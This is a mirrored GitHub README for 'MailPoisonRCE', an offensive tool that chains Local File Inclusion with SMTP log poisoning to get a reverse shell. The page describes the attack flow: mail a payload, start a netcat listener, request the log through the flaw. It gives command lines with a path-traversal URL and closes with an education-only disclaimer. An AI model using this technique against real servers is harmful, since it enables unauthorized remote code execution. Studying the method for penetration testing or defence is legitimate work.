Giter Club home page Giter Club logo

mail-poison-rce's Introduction

MailPoisonRCE

This tool is for Local File Inclusion to Remote Code Execution via mail log poisoning. 
There are some requirements needed inorder to use the tool
1. Local File Inclusion
2. smtp authentication

The tool simply access the SMTP and send a mail with a reverseshell payload.
next it will setup a netcat listener and sends a get request on the URL 
thats vulnerable to LFI and access the smtp log to pop the shell

Installation

Run the command below to install the required libraries used in the tool.

  • pip3
    pip3 install -r requirements.txt

Usage

Authenticated usage: python3 MailPoisonRCE.py -s 10.11.12.13 -sp 25 -e [email protected] -t [email protected] -i 127.0.0.1 -p 4444 -u http://10.11.12.13/index.php?page=../../../var/mail/test -us user -pw root

Unauthenticated usage: python3 MailPoisonRCE.py -s 10.11.12.13 -sp 25 -e [email protected] -t [email protected] -i 127.0.0.1 -p 4444 -u http://10.11.12.13/index.php?page=../../../var/mail/test

alt text

Disclaimer

The tool is for education purpose only. Usage of the tool for attacking the website without consent is illegal. 
The end user of the tool will be responsible for the damage it might cause.
The developer of the tool assume no liability and not responsbile for any misuse and damage.

Authors

damaidec

Anantha vijay

mail-poison-rce's People

Contributors

ananthavijay avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.